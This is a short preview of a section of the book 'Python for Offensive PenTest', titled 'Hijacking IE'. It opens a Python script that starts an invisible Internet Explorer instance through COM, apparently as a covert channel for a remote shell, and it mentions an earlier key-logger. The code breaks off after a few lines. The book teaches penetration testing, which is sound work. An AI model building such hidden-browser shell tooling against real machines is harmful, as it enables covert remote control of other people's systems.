Hijacking IE

As always, coding with Python will make your life much easier. Now, to use COM in Python, you just need a Python for Windows or pywin library. Since we've already installed this library while creating our previous key-logger, we won't cover that again here. Now, let's jump to the coding part:

# Python For Offensive PenTest# Install Python for Windows pywin32-219.win32-py2.7# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/# Hijacking IE - Shell Over IEfrom win32com.client import Dispatchfrom time import sleepimport subprocessie = Dispatch("InternetExplorer.Application") # Create browser instance.ie.Visible = 0 # Make it invisible [ run in background ] (1= invisible)...

Here, we start by creating an InternetExplorer ...

Get Python for Offensive PenTest now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.